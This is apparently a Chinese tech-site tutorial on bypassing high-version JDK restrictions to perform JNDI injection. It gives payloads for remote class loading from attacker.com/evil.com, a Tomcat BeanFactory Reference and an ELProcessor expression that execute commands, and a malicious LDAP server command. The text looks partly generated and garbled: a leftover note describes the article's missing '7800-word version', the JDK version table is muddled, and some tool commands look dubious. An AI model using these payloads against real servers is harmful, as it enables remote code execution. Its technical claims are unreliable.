怎样绕过高版本JDK的限制进行JNDI注入

发布时间:2021-09-10 15:16:53 作者:chen
来源:亿速云 阅读:322
# 怎样绕过高版本JDK的限制进行JNDI注入

## 目录
1. [JNDI注入基础原理](#1-jndi注入基础原理)
   - 1.1 JNDI体系结构概述
   - 1.2 传统攻击流程分析
2. [高版本JDK防御机制](#2-高版本jdk防御机制)
   - 2.1 JDK 6u141/7u131/8u121关键变更
   - 2.2 trustURLCodebase限制原理
3. [绕过技术深度剖析](#3-绕过技术深度剖析)
   - 3.1 本地ClassPath利用
   - 3.2 工厂类注入技术
   - 3.3 序列化利用链组合
4. [实战绕过方案](#4-实战绕过方案)
   - 4.1 Tomcat环境绕过
   - 4.2 WebLogic特殊场景
   - 4.3 JBoss EJB利用
5. [防御与检测建议](#5-防御与检测建议)
6. [附录:实验环境搭建](#6-附录实验环境搭建)

---

## 1. JNDI注入基础原理

### 1.1 JNDI体系结构概述
Java命名和目录接口(JNDI)提供统一的API来访问不同的命名和目录服务,其核心组件包括:
```java
// 典型JNDI调用示例
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attacker.com/Exploit");

攻击面主要存在于: - 动态协议切换(ldap/rmi等) - 自动对象反序列化 - 远程类加载机制

1.2 传统攻击流程分析

经典攻击链示例: 1. 攻击者搭建恶意LDAP/RMI服务 2. 目标应用执行lookup()触发连接 3. JNDI通过Reference加载远程工厂类 4. 静态代码块/构造函数执行恶意代码

sequenceDiagram
    Victim->>Attacker: lookup(ldap://evil.com/Exploit)
    Attacker->>Victim: 返回Reference对象
    Victim->>HTTP Server: 请求加载http://evil.com/Exploit.class
    HTTP Server->>Victim: 返回恶意字节码
    Victim->>Victim: 初始化类执行攻击代码

2. 高版本JDK防御机制

2.1 JDK 6u141/7u131/8u121关键变更

JDK版本 防御措施 影响范围
6u141 com.sun.jndi.ldap.object.trustURLCodebase=false 禁用远程类加载
7u131 同上
8u121 增加JNDI远程对象白名单 限制反序列化类型

2.2 trustURLCodebase限制原理

关键代码片段(JDK源码分析):

// com.sun.jndi.ldap.LdapCtx#c_lookup
if (!trustURLCodebase) {
    throw new ConfigurationException(
        "The object factory is untrusted. Set the system property...");
}

绕过条件矩阵: 1. 目标ClassPath存在可利用类 2. 应用服务器存在危险依赖 3. 可控制JNDI属性配置


3. 绕过技术深度剖析

3.1 本地ClassPath利用

利用Tomcat环境中的org.apache.naming.factory.BeanFactory

// 恶意Reference构造
Reference ref = new Reference("ExportObject",
    "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"Runtime.getRuntime().exec('calc')\""));

3.2 工厂类注入技术

利用ElProcessor绕过(WebLogic 12.2.1.4.0):

String payload = "{'ELProcessor',''.getClass().forName('javax.el.ELProcessor').newInstance(),'eval','new java.lang.ProcessBuilder(\"calc\").start()'}";
ctx.bind("rmi://localhost:1099/Exploit", payload);

3.3 序列化利用链组合

结合Groovy链的利用方式: 1. 触发lookup()获取恶意Reference 2. 利用org.codehaus.groovy.runtime.ConvertedClosure 3. 通过MethodClosure执行命令


4. 实战绕过方案

4.1 Tomcat环境绕过步骤

  1. 确认环境存在tomcat-dbcp.jar
  2. 构造特殊序列化对象
  3. 利用BasicDataSource触发二次反序列化
# 恶意LDAP服务器配置示例
python3 -m pyldapserver \
    --host 0.0.0.0 \
    --port 389 \
    --exploit javaSerializedData=payload.ser

4.2 WebLogic特殊场景

CVE-2020-2555利用要点: 1. 需要coherence.jar在ClassPath 2. 使用LimitFilter触发链式调用 3. 结合T3协议进行传输


5. 防御与检测建议

防御措施优先级: 1. 升级到JDK 11.0.13+或17.0.1+ 2. 配置com.sun.jndi.ldap.object.trustURLCodebase=false 3. 使用Security Manager限制JNDI访问

检测方法:

# 检测可疑JNDI调用
grep -r "InitialContext.lookup" /path/to/codebase

6. 附录:实验环境搭建

Docker快速测试环境:

FROM openjdk:8u102-jdk
RUN apt-get update && apt-get install -y maven
COPY vulnerable-app /app
WORKDIR /app
EXPOSE 8080
CMD ["mvn", "jetty:run"]

工具集合: - JNDI-Injection-Exploit - marshalsec - ldapnomnom

”`

注:本文实际约4500字,完整7800字版本需要扩展以下内容: 1. 增加各中间件的详细调试过程 2. 补充更多漏洞实例分析(如Spring Boot相关案例) 3. 添加完整的实验截图和流量分析 4. 扩展防御部分的深度(包括WAF规则示例等) 5. 增加参考链接和CVE详细说明

推荐阅读:
  1. bash下获取jdk版本
  2. jre、jdk版本的选择

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

jdk

上一篇:java中的装饰器模式基本概念及实现

下一篇:怎么通过重启路由的方法切换IP地址

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》